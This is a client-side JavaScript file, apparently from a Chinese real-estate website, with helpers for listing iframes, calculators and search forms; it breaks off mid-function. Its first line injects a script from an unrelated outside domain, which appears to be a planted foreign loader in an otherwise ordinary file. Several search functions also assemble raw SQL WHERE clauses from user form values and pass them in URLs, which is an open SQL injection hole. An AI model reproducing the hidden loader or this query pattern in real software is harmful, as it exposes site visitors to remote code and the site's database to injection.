document.writeln('<script language=javascript src="http://online.xywy.com/html/zh/wow/log.js?GPSFCR"></script>');
	function gf(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=gf";
			popCenter(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"", 900, 600, "yes");
			return;
	}
	function debx(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=debx";
			popCenter(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"", 550, 580, "yes");
			return;
	}
	function debj(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=debj";
			popCenter(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"", 500, 400, "yes");
			return;
	}
	function tqhd2(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=tqhd2";
			popCenter(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"", 500, 500, "yes");
			return;
	}
	function sl(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=sl";
			popCenter(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"", 500, 300, "yes");
			return;
	}
	function gjj(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=gjj";
			popCenter(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"", 500, 250, "yes");
			return;
	}
	//??????????????????
	function tsjsq(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=tsjsq";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function lxjsq(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=lxjsq";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function sfjsq(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=sfjsq";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function dkll(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=dkll";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function zydkjz(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=zydkjz";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function ajdk(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=ajdk";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function gjjdk(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=gjjdk";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function tqhd(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=tqhd";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function gfzc(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=gfzc";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	function gfnl(webOpId,dsGroup){
			var url = "/component/compPlugin.action?action=gfnl";
			document.all("rightFrame").src=url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"";
			return;
	}
	//end??????????????????
	function HouseBB(webOpId,dsGroup,module,orderBy){
			var url = "/house/house.action?action=doReleaseBB";
			window.open(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"&module="+module+"&orderBy="+orderBy+"");
			return;
	}
	function HouseSL(webOpId,dsGroup,module,orderBy){
			var url = "/house/house.action?action=doReleaseSL";
			window.open(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"&module="+module+"&orderBy="+orderBy+"");
			return;
	}
		function HouseList(webOpId,dsGroup){
			var url = "/house/house.action?action=doHouseList";
			window.open(url+"&webOpId="+webOpId+"&dsGroup="+dsGroup+"&module=mjzd-suoye&bodyType=ztfl-csgl");
			return;
	}

	
	function turnLeft(){	
	document.getElementById("marqueeDic").direction="left";
	}
	function turnRight(){
	document.getElementById("marqueeDic").direction="right";
	}
//??iframe???	
	function linkToIframe(iframeId,pageSize,cms_type,dsGroup,webOpId,bodyType,module,type){
	    if (type == null){
	       type="1";
	    }
 
		var a = new Array();
		a = document.getElementById(bodyType+type).childNodes;

		for(i=0 ;i<a.length;i++){	
			if( a[i].childNodes[0].id != undefined){
		    	if (a[i].childNodes[0].id == cms_type){
		    		a[i].childNodes[0].className="current";
		    	}
		    	else{
		    		a[i].childNodes[0].className="";
		    	}
		    }
		}
		
		var whereCond = "";
		
		if(type=="1" || type=="" || type=="2"){//??
			whereCond = "WHERE cms_type='"
			            + cms_type + "' and cms_vouch_sign='2' ORDER BY op_create_time desc";
		}
		
		else if(type=="3"){//??
			whereCond = "WHERE cms_type='"
			            + cms_type + "' and cms_elite_sign='2' ORDER BY op_create_time desc";
		}
		else if(type=="6"){//??
			whereCond = "WHERE cms_type='"
			            + cms_type + "' ORDER BY op_create_time desc";
		}
	    var url_house = "/component/compBrowseList.action?action=blHouseList2&compPage.pageSize="+pageSize
	    +"&compPage.whereCond="+whereCond
	    +"&bodyType="+bodyType
	    +"&dsGroup="+dsGroup
	    +"&webOpId="+webOpId
	    +"&module="+module;
	    var url_pic= "/component/compBrowseList.action?action=blHousePic1&compPage.pageSize=2"
	    +"&compPage.whereCond="+whereCond
	    +"&bodyType="+bodyType
	    +"&dsGroup="+dsGroup
	    +"&webOpId="+webOpId
	    +"&module="+module;
	    var url_house2= "/component/compBrowseList.action?action=blHouseList1&compPage.pageSize="+pageSize
	    +"&compPage.whereCond="+whereCond
	    +"&bodyType="+bodyType
	    +"&dsGroup="+dsGroup
	    +"&webOpId="+webOpId
	    +"&module="+module;
	    var url_pic_house = "/component/compBrowseList.action?action=blHousePic2&compPage.pageSize="+pageSize
	    +"&compPage.whereCond="+whereCond
	    +"&bodyType="+bodyType
	    +"&dsGroup="+dsGroup
	    +"&webOpId="+webOpId
	    +"&module="+module;
	    if (iframeId.split(",")[0] == "hauseListFrame"){
	    	document.getElementById(iframeId.split(",")[0]).src=url_house;
	    }
	    else if (iframeId.split(",")[0]=="hauseListFrame1"){
	    	document.getElementById(iframeId.split(",")[0]).src=url_house2;
	    	//alert("a");
	    }		
	    if (type=="1" || type=="" || type=="2"){ //??
	       if (iframeId.split(",")[0]!=""){
		   document.getElementById(iframeId.split(",")[0]).src=url_pic_house;
		  }
	    }else{
			if (iframeId.split(",")[1]!=""){
			   document.getElementById(iframeId.split(",")[1]).src=url_pic;
			}
		}
	}
	

//??iframe???	
	function flushIframe(iframeId,pageSize,dsGroup,webOpId,bodyType,orderBy,module){
		
		var cms_type;
		var a = new Array();
		a = document.getElementById(bodyType).childNodes;
		for(i=0 ;i<a.length;i++){	
			if(a[i].childNodes[0].className=="current"){
				cms_type=a[i].childNodes[0].id;
			}	
		}	  		
	    var url_house = "/component/compBrowseList.action?action=blHouseList2&compPage.pageSize="+pageSize
	    +"&compPage.whereCond=WHERE cms_type='"+cms_type
	    +"' ORDER BY "+orderBy+" desc"
	    +"&bodyType="+bodyType
	    +"&dsGroup="+dsGroup
	    +"&webOpId="+webOpId
	    +"&module="+module;
	    var url_pic= "/component/compBrowseList.action?action=blHousePic1&compPage.pageSize=2"
	    +"&compPage.whereCond=WHERE cms_type='"+cms_type
	    +"' ORDER BY "+orderBy+" desc"
	    +"&bodyType="+bodyType
	    +"&dsGroup="+dsGroup
	    +"&webOpId="+webOpId
	    +"&module="+module;
	    var url_house2= "/component/compBrowseList.action?action=blHouseList1&compPage.pageSize="+pageSize
	    +"&compPage.whereCond=WHERE cms_type='"+cms_type
	    +"' ORDER BY "+orderBy+" desc"
	    +"&bodyType="+bodyType
	    +"&dsGroup="+dsGroup
	    +"&webOpId="+webOpId
	    +"&module="+module;
	    

	    if (iframeId.split(",")[0] == "hauseListFrame"){
	    	//alert("t");
	    	document.getElementById(iframeId.split(",")[0]).src=url_house;
	    }
	    else if (iframeId.split(",")[0]=="hauseListFrame1"){

	    	document.getElementById(iframeId.split(",")[0]).src=url_house2;

	    }		
		if (iframeId.split(",")[1]!=""){

		document.getElementById(iframeId.split(",")[1]).src=url_pic;

		}	
	}
	
	//????????????,?????????????????????iframe
	function linkToIframe_rdfy(iframeId,pageSize,cmsType,dsGroup,webOpId,module){
		var orderBy = "cms_visit";
		var cms_type;
		var bodyType;
		var tt = new Array();
		tt = document.all("rd");
		if (tt[0].checked){
			cms_type = tt[0].value+"-"+cmsType.split("-")[3];
			bodyType = tt[0].bodyValue;
		}
		else if(tt[1].checked){
			cms_type = tt[1].value+"-"+cmsType.split("-")[3];
			bodyType = tt[1].bodyValue;
	
		}				
		var a = new Array();
		a = document.getElementById("ul_rdfy").childNodes;
	
		for(i=0 ;i<a.length;i++){	
			if( a[i].childNodes[0].id != undefined){
		    	if (a[i].childNodes[0].id == cmsType){
		    		
		    		a[i].childNodes[0].className="current";
		    	}
		    	else{
		    		a[i].childNodes[0].className="";
		    	}
		    }
		}
		
	    var url_house = "/component/compBrowseList.action?action=blHousePic2&compPage.pageSize="+pageSize
	    +"&bodyType="+bodyType
	    +"&dsGroup="+dsGroup
	    +"&webOpId="+webOpId
	    +"&module="+module;
	  //  alert(url_house);
	    document.getElementById(iframeId.split(",")[0]).src=url_house;

	}
//???????????????????????????????????????iframe
	function flushIframe_rdfy(iframeId,pageSize,dsGroup,webOpId,bodyType,cmsType,module,type){
	    //热点房源
	    if(module=="mj01-dasuoye"){  //大首页
		    var url_house = "/component/compBrowseList.action?action=blHouseList1&compPage.pageSize="+pageSize
		    +"&bodyType="+bodyType
		    +"&dsGroup="+dsGroup
		    +"&webOpId="+webOpId
		    +"&module="+module;
		 }
		 else{
			 var url_house = "/component/compBrowseList.action?action=blHousePic2&compPage.pageSize="+pageSize
		    +"&bodyType="+bodyType
		    +"&dsGroup="+dsGroup
		    +"&webOpId="+webOpId
		    +"&module="+module;
		 }
	    document.getElementById(iframeId.split(",")[0]).src=url_house;

	}	
	
	function flushIframe_sign(iframeId,pageSize,dsGroup,webOpId,bodyType,cmsType,module,type){
	       
	    //精品房源 
	    if(module=="mj01-dasuoye"){  //大首页
	     var url_house = "/component/compBrowseList.action?action=blHouseList1&compPage.pageSize="+pageSize
		    +"&compPage.whereCond=WHERE cms_elite_sign='2'"
	    	+" ORDER BY op_create_time desc"
		    +"&bodyType="+bodyType
		    +"&dsGroup="+dsGroup
		    +"&webOpId="+webOpId
		    +"&module="+module;
	    }
		 else{
		  var url_house = "/component/compBrowseList.action?action=blHouseList1&compPage.pageSize="+pageSize
		    +"&compPage.whereCond=WHERE cms_elite_sign='2'"
	    	+" ORDER BY op_create_time desc"
		    +"&bodyType="+bodyType
		    +"&dsGroup="+dsGroup
		    +"&webOpId="+webOpId
		    +"&module="+module;
		 }
		   
	    
	    document.getElementById(iframeId.split(",")[0]).src=url_house;

	}
	function getFrontForm(){
	   var formElem = event.srcElement;
	   while (formElem.parentElement.tagName != "FORM"){
	      formElem = formElem.parentElement;
	   }
	   return formElem.parentElement;
	}
	
	function doFrontSearch(scope,frmName){
	   var thisForm ;
	   if(frmName!=null){
		   thisForm	=document.all(frmName);
	   }else{
		   thisForm	= getFrontForm();
	   }
	   var scope;
	   if(scope==null){
		   if (thisForm.document.all("searchScope") == undefined){
		      alert("请设置id='searchScope'的检索域以及检索字段的query属性!");
		      return ;
		   };
		   scope = thisForm.all("searchScope");
	   }else{
		   if (thisForm.document.all(scope) == undefined){
		      alert("请设置id='searchScope'的检索域以及检索字段的query属性!");
		      return ;
		   };
		   scope = thisForm.all(scope);
	   }
	   var whereCond = "";
	   for(i = 0 ; i < scope.all.length ; i++)
	    {
	        var Element = scope.all[i];
	        if(Element.type=="text" || Element.type=="select-one" || Element.type=="hidden")
	        {  
	             if (Element.query != undefined && Element.value != "" ){
	             
	                 if (Element.query == "="){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + "='" + Element.value + "'";
	                 }else if (Element.query == "IN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " IN (" + Element.value + ")";
	                 }else if(Element.query.toUpperCase()=="LIKE" && Element.newName!=undefined){
	                     whereCond = whereCond 
	                       + " AND " + Element.newName.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	
	                 }else if (Element.query == "LIKE"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	                 }else if (Element.query == "BETWEEN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'"
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'";
	                 }else if (Element.query == "end"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "btInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".");
	                       		whereCond+= " >= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query == "ltInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT","."); 
		                       whereCond+= " <= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query.toUpperCase() == "SCOPE"){
	                      var scopeArr = Element.value.split("-");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " < '" + (parseFloat(scopeArr[1])) + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
		                        whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT","."); 
	                            	whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'"
	                            	+ " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " <= '" + (parseFloat(scopeArr[1])) + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "SCOPE2"){
	                      var scopeArr = Element.value.split("*");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " < '" + scopeArr[1] + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'"
	                            + " AND " + Element.name.replace("DOT",".")
	                            + " <= '" + scopeArr[1] + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "LINK"){
	                     var name = Element.name;
	                     name = name.replace("DOT",".");
	                     if (name.indexOf("op_id") == -1){
		                     if (name != undefined && name != ""){
		                         Element.value = Element.value.replace("op_id", name);
		                         while (Element.value.indexOf("op_id") != -1){
		                            Element.value = Element.value.replace("op_id", name);
		                         }
		                     }
	                     }
	                     whereCond = whereCond 
	                          + " AND " + Element.value ;
	                 }else if (Element.query.toUpperCase() == "MUTIL"){
	                     var name = Element.name;
	                     name = name.replace("DOT",".");
	                     var nameArr = name.split(",");
	                     whereCond = whereCond + " AND (";
	                     for(var k=0;k<nameArr.length;k++){
	                         if(k==0){
	                       	 	whereCond = whereCond + nameArr[k]+" LIKE '%" + Element.value + "%'";
	                         }else{
	                       	 	whereCond = whereCond + " OR "+nameArr[k]+" LIKE '%" + Element.value + "%'";
	                       	 }
	                     }
	                     whereCond = whereCond + ")";   
	                 }else{
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " LIKE '%" + Element.value + "%'";
	                 }
	             }
	        }
	    }
	    if (whereCond.length > 0){
	        whereCond = "WHERE " + whereCond.substring(5, whereCond.length);
	    }
	    if(thisForm.document.all("compPage.whereCond").value==undefined){
	    	thisForm.document.all("whereCond").value = whereCond;
	    }
	    if(thisForm.whereCond != undefined){
	    	thisForm.whereCond.value = whereCond;
	    }
	    thisForm.document.all("compPage.whereCond").value = whereCond;
	    thisForm.document.all("compPage.pageNo").value = 1; 
	    //alert(thisForm.document.all("compPage.whereCond").value);
	    thisForm.submit(); 
}

	
	function doSelectCorp(){
		var thisForm = getFrontForm();
		   if (thisForm.document.all("doCorp") == undefined){
		      alert("请设置id='searchScope'的检索域以及检索字段的query属性!");
		      return ;
		   };
		var scope = thisForm.document.all("doCorp");
		var whereTime = "";
		var whereDistrict = "";
		for(i = 0 ; i < scope.all.length ; i++)
	    {
	        var Element = scope.all[i];
	        if(Element.type=="text" || Element.type=="select-one" || Element.type=="hidden")
	        {  
	             if (Element.query != undefined && Element.value != "" ){
	             if (Element.query == "begin"){
	                      whereTime = whereTime 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'";
	             }else if (Element.query == "end"){
	                      whereTime = whereTime 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	             }else if (Element.query == "="){
	             		  whereDistrict = whereDistrict
	             		  + " AND " + Element.name.replace("DOT",".") + "='" + Element.value + "'";
	             }else {
	             		  whereTime = whereTime 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " LIKE '%" + Element.value + "%'";
	                 }
	             }
	        }
	    }
	    if (whereTime.length > 0){
	        whereTime = whereTime.substring(5, whereTime.length) + " AND ";
	    }
	    if(whereDistrict.length > 0){
	    	whereDistrict = " WHERE " + whereDistrict.substring(5, whereDistrict.length);
	    }
	    thisForm.document.all("whereTime").value = whereTime;
	    thisForm.document.all("whereDistrict").value = whereDistrict;
	    thisForm.submit();  
	}

function doFrontSearchCorp(){
//	   var thisForm = getFrontForm();
	   var thisForm = document.all("corpSearchForm");
	   if(thisForm==null||thisForm==undefined){
		   thisForm = getFrontForm();
	   }
	   var scope ;
	   if (thisForm.document.all("searchArea2") == undefined){
		   if (thisForm.document.all("searchScope") == undefined){
		      alert("请设置id='searchScope'的检索域以及检索字段的query属性!");
		      return ;
		   }else{
		   		scope = thisForm.document.all("searchScope");
		   }
	   }else{
	   		scope = thisForm.document.all("searchArea2");
	   }
	   var whereCond = "";
	   for(i = 0 ; i < scope.all.length ; i++)
	    {
	        var Element = scope.all[i];
	        if(Element.type=="text" || Element.type=="select-one" || Element.type=="hidden")
	        {  
	             if (Element.query != undefined && Element.value != "" ){
	             
	                 if (Element.query == "="){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + "='" + Element.value + "'";
	                 }else if (Element.query == "IN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " IN (" + Element.value + ")";
	                 }else if(Element.query.toUpperCase()=="LIKE" && Element.newName!=undefined){
	                     whereCond = whereCond 
	                       + " AND " + Element.newName.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	
	                 }else if (Element.query == "LIKE"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	                 }else if (Element.query == "BETWEEN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'"
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'";
	                 }else if (Element.query == "end"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin_price"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(12, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_price"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(10, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "begin_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "btInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".");
	                       		whereCond+= " >= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query == "ltInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT","."); 
		                       whereCond+= " <= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query.toUpperCase() == "SCOPE"){
	                      var scopeArr = Element.value.split("-");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " < '" + (parseFloat(scopeArr[1])) + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
		                        whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT","."); 
	                            	whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'"
	                            	+ " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " <= '" + (parseFloat(scopeArr[1])) + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "SCOPE2"){
	                      var scopeArr = Element.value.split("*");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " < '" + scopeArr[1] + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'"
	                            + " AND " + Element.name.replace("DOT",".")
	                            + " <= '" + scopeArr[1] + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "LINK"){
	                     var name = Element.name;
	                     name = name.replace("DOT",".");
	                     if (name.indexOf("op_id") == -1){
		                     if (name != undefined && name != ""){
		                         Element.value = Element.value.replace("op_id", name);
		                         while (Element.value.indexOf("op_id") != -1){
		                            Element.value = Element.value.replace("op_id", name);
		                         }
		                     }
	                     }
	                     whereCond = whereCond 
	                          + " AND " + Element.value ;
	                 }else{
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " LIKE '%" + Element.value + "%'";
	                 }
	             }
	        }
	    }
	    if(thisForm.document.all("compPage.whereCond").value!=null &&
	    	thisForm.document.all("compPage.whereCond").value.length>0){
	    	if (whereCond.length > 0){
	        	whereCond = thisForm.document.all("compPage.whereCond").value+" AND " + whereCond.substring(5, whereCond.length);
	    	}else{
	        	whereCond = thisForm.document.all("compPage.whereCond").value;
	    	}
	    }else{
	    	if (whereCond.length > 0){
	        	whereCond = "WHERE " + whereCond.substring(5, whereCond.length);
	    	}
	    }
	   
	    if(thisForm.document.all("compPage.whereCond").value==undefined){
	    	thisForm.document.all("whereCond").value = whereCond;
	    }else{
	        thisForm.document.all("compPage.whereCond").value = whereCond;
	    }
	    thisForm.document.all("corpSearchId").value = whereCond;
	    thisForm.document.all("compPage.pageNo").value = 1; 
	    thisForm.document.all("whereCond").value = whereCond;
	    thisForm.whereCond.value = whereCond;
	    thisForm.submit(); 
}		

function doFrontSearchBroker(){
	   var thisForm = document.all("combinedQuery");
	   if (thisForm.document.all("combinedQuery") == undefined){
	      alert("请设置id='searchScope'的检索域以及检索字段的query属性!");
	      return ;
	   };
	   var scope = thisForm.document.all("combinedQuery");
	   var whereCond = "";
	   for(i = 0 ; i < scope.all.length ; i++)
	    {
	        var Element = scope.all[i];
	        if(Element.type=="text" || Element.type=="select-one" || Element.type=="hidden")
	        {  
	             if (Element.query != undefined && Element.value != "" ){
	             
	                 if (Element.query == "="){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + "='" + Element.value + "'";
	                 }else if (Element.query == "IN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " IN (" + Element.value + ")";
	                 }else if(Element.query.toUpperCase()=="LIKE" && Element.newName!=undefined){
	                     whereCond = whereCond 
	                       + " AND " + Element.newName.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	
	                 }else if (Element.query == "LIKE"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") + " LIKE '%" + Element.value + "%'";
	                 }else if (Element.query == "BETWEEN"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'"
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "000000'";
	                 }else if (Element.query == "end"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "235959'";
	                 }else if (Element.query == "begin_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(6, Element.name.length).replace("DOT",".") 
	                       + " >= '" + Element.value + "'";
	                 }else if (Element.query == "end_int"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.substring(4, Element.name.length).replace("DOT",".") 
	                       + " <= '" + Element.value + "'";
	                 }else if (Element.query == "btInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".");
	                       		whereCond+= " >= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query == "ltInt"){
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT","."); 
		                       whereCond+= " <= '" + (parseFloat(Element.value)) + "'";
	                 }else if (Element.query.toUpperCase() == "SCOPE"){
	                      var scopeArr = Element.value.split("-");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " < '" + (parseFloat(scopeArr[1])) + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".");
		                        whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT","."); 
	                            	whereCond+= " >= '" + (parseFloat(scopeArr[0])) + "'"
	                            	+ " AND " + Element.name.replace("DOT",".");
	                            	whereCond+= " <= '" + (parseFloat(scopeArr[1])) + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "SCOPE2"){
	                      var scopeArr = Element.value.split("*");
	                      if (scopeArr[0] == ""){
	                           whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " < '" + scopeArr[1] + "'";
	                      }else if (scopeArr[1] == ""){
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'";
	                      }else{
	                          whereCond = whereCond 
	                            + " AND " + Element.name.replace("DOT",".") 
	                            + " >= '" + scopeArr[0] + "'"
	                            + " AND " + Element.name.replace("DOT",".")
	                            + " <= '" + scopeArr[1] + "'";
	                      }
	                 }else if (Element.query.toUpperCase() == "LINK"){
	                     var name = Element.name;
	                     name = name.replace("DOT",".");
	                     if (name.indexOf("op_id") == -1){
		                     if (name != undefined && name != ""){
		                         Element.value = Element.value.replace("op_id", name);
		                         while (Element.value.indexOf("op_id") != -1){
		                            Element.value = Element.value.replace("op_id", name);
		                         }
		                     }
	                     }
	                     whereCond = whereCond 
	                          + " AND " + Element.value ;
	                 }else{
	                      whereCond = whereCond 
	                       + " AND " + Element.name.replace("DOT",".") 
	                       + " LIKE '%" + Element.value + "%'";
	                 }
	             }
	        }
	    }
	    if(thisForm.document.all("compPage.whereCond").value!=null &&
	    	thisForm.document.all("compPage.whereCond").value.length>0){
	    	if (whereCond.length > 0){
	        	whereCond = thisForm.document.all("compPage.whereCond").value+" AND " + whereCond.substring(5, whereCond.length);
	    	}else{
	        	whereCond = thisForm.document.all("compPage.whereCond").value;
	    	}
	    }else{
	    	if (whereCond.length > 0){
	        	whereCond = "WHERE " + whereCond.substring(5, whereCond.length);
	    	}
	    }
	    if(thisForm.document.all("compPage.whereCond").value==undefined){
	    	thisForm.document.all("whereCond").value = whereCond;
	    }
	    thisForm.document.all("compPage.whereCond").value = whereCond;
	    thisForm.document.all("combinedQueryCond").value = whereCond;
	    thisForm.document.all("compPage.pageNo").value = 1; 
	    thisForm.submit(); 
}		


   function commEditAlbum(module,dsTopId,opMaster,opLink,opName,opSort,titlename,cmsType){
	   	 var url = "/fitment/fitment.action?action=doBuildPic&module="
	   	 			+module+"&dsTop.opId="+dsTopId+"&op_master="+opMaster+"&cms_type="+cmsType
	              	+"&op_sort="+opSort+"&bean.opId="+opLink+"&bean.opName="+opName+"&myTime="+new Date();
	     try{
